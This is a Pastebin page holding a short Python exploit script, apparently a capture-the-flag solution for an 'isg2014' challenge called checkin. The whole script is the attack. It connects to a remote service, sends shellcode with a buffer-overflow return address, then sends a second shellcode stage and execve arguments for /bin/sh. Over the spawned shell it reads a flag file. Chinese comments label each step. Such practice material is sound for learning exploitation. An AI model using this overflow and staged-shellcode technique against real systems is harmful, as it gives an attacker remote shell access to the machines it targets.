Advertisement
Guest User

isg2014 - checkin.py

a guest
Sep 29th, 2014
429
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.70 KB | None | 0 0
  1. import socket
  2. import sys
  3. import time
  4. import struct
  5. import re
  6.  
  7. def R():
  8.   global sk
  9.   return sk.recv(4096000)
  10.  
  11. def S(x):
  12.   global sk
  13.   return sk.send(x)
  14.  
  15. def PQ(x):
  16.   return struct.pack('Q', x)
  17.  
  18.  
  19. sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  20. sk.connect(('202.120.7.73',44445))
  21.  
  22. sh = open('a','rb').read()[0x80:0x80+22]
  23. print R()
  24. S(sh+'\x0d\x07\x40\x00\x00\x00\x00\x00') #送 shellcode1 + buffer overflow
  25. time.sleep(0.5)
  26. sh = open('b','rb').read()[0x80:0x80+100]
  27. S('A'*18+sh) #送 shellcode2
  28. time.sleep(0.5)
  29. S(PQ(0x601028)+PQ(0)+'/bin/sh\x00') #送 execve 的參數
  30. time.sleep(0.5)
  31. S('cat /home/checkin/flag_is_here_with_a_very_long_name\n') #送 shell cmd
  32. print R()
  33.  
  34. sk.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement